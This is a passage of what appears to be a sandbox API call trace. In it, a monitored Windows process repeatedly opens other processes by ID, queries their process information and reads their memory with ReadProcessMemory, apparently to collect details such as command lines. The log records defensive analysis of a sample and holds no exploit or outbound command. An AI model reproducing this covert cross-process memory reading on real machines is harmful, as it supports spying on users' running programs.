ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.857] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e2258, lpBuffer=0x5ec5a0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.858] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.858] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.858] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x31d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.859] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.859] malloc (_Size=0x64) returned 0xeb60e0 [0357.859] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6e22b4, lpBuffer=0xeb60e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb60e0*, lpNumberOfBytesRead=0x0) returned 1 [0357.860] free (_Block=0xeb60e0) [0357.860] CloseHandle (hObject=0xa9c) returned 1 [0357.860] _ui64tow_s (in: _Value=0x101c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4124") returned 0x0 [0357.860] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4124") returned 4 [0357.861] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.861] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.861] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x101c) returned 0xa9c [0357.861] GetLastError () returned 0x0 [0357.861] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.862] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.862] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.862] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.863] malloc (_Size=0x68) returned 0xeb64d0 [0357.863] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22b8, lpBuffer=0xeb64d0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0357.863] free (_Block=0xeb64d0) [0357.864] CloseHandle (hObject=0xa9c) returned 1 [0357.864] _ui64tow_s (in: _Value=0x520, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1312") returned 0x0 [0357.864] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1312") returned 4 [0357.864] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.865] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.866] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x520) returned 0xa9c [0357.866] GetLastError () returned 0x0 [0357.866] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.866] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4924e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492118, lpBuffer=0x5ec5a0, nSize=0x4a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.867] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.867] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2da020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.867] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x491ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.868] malloc (_Size=0x62) returned 0xeb61c0 [0357.868] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x492162, lpBuffer=0xeb61c0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb61c0*, lpNumberOfBytesRead=0x0) returned 1 [0357.868] free (_Block=0xeb61c0) [0357.868] CloseHandle (hObject=0xa9c) returned 1 [0357.869] _ui64tow_s (in: _Value=0x1404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5124") returned 0x0 [0357.869] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5124") returned 4 [0357.869] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.869] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.870] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1404) returned 0xa9c [0357.870] GetLastError () returned 0x0 [0357.870] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.870] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.870] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.870] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.870] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x312258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.871] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.871] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.871] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6ad020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.871] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x311c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.871] malloc (_Size=0x72) returned 0xea8ca0 [0357.871] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3122c2, lpBuffer=0xea8ca0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0357.872] free (_Block=0xea8ca0) [0357.872] CloseHandle (hObject=0xa9c) returned 1 [0357.872] _ui64tow_s (in: _Value=0x1420, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5152") returned 0x0 [0357.873] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5152") returned 4 [0357.873] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.873] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.874] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1420) returned 0xa9c [0357.874] GetLastError () returned 0x0 [0357.874] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.874] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.874] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.874] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc04100, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.874] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03c2a, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.875] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.875] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.875] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x9cc020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.875] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03570, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.875] malloc (_Size=0x118) returned 0xefada0 [0357.875] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0xc03cca, lpBuffer=0xefada0, nSize=0x116, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xefada0*, lpNumberOfBytesRead=0x0) returned 1 [0357.876] free (_Block=0xefada0) [0357.876] CloseHandle (hObject=0xa9c) returned 1 [0357.877] _ui64tow_s (in: _Value=0x1444, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5188") returned 0x0 [0357.877] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5188") returned 4 [0357.877] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.877] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.878] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1444) returned 0xa9c [0357.878] GetLastError () returned 0x0 [0357.878] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.878] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.878] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.878] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.878] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e2258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.879] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.879] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.879] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4d2020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.879] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.879] malloc (_Size=0x60) returned 0xeb64d0 [0357.879] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3e22b0, lpBuffer=0xeb64d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb64d0*, lpNumberOfBytesRead=0x0) returned 1 [0357.880] free (_Block=0xeb64d0) [0357.881] CloseHandle (hObject=0xa9c) returned 1 [0357.881] _ui64tow_s (in: _Value=0x1458, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5208") returned 0x0 [0357.881] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5208") returned 4 [0357.882] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.882] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.882] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1458) returned 0xa9c [0357.883] GetLastError () returned 0x0 [0357.883] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.883] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.883] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.883] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5926a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.883] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x592258, lpBuffer=0x5ec5a0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.883] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.883] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x317020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x591c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.884] malloc (_Size=0x88) returned 0xe88360 [0357.884] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5922d8, lpBuffer=0xe88360, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0357.885] free (_Block=0xe88360) [0357.885] CloseHandle (hObject=0xa9c) returned 1 [0357.885] _ui64tow_s (in: _Value=0x1474, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5236") returned 0x0 [0357.886] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5236") returned 4 [0357.886] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.886] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.887] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1474) returned 0xa9c [0357.887] GetLastError () returned 0x0 [0357.887] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.887] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.887] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.887] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2700, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.887] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.888] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.888] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3ee020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.888] malloc (_Size=0xa8) returned 0xe950b0 [0357.888] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22f8, lpBuffer=0xe950b0, nSize=0xa6, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe950b0*, lpNumberOfBytesRead=0x0) returned 1 [0357.889] free (_Block=0xe950b0) [0357.889] CloseHandle (hObject=0xa9c) returned 1 [0357.889] _ui64tow_s (in: _Value=0x1480, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5248") returned 0x0 [0357.889] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5248") returned 4 [0357.889] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.889] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.890] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1480) returned 0xa9c [0357.890] GetLastError () returned 0x0 [0357.890] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, 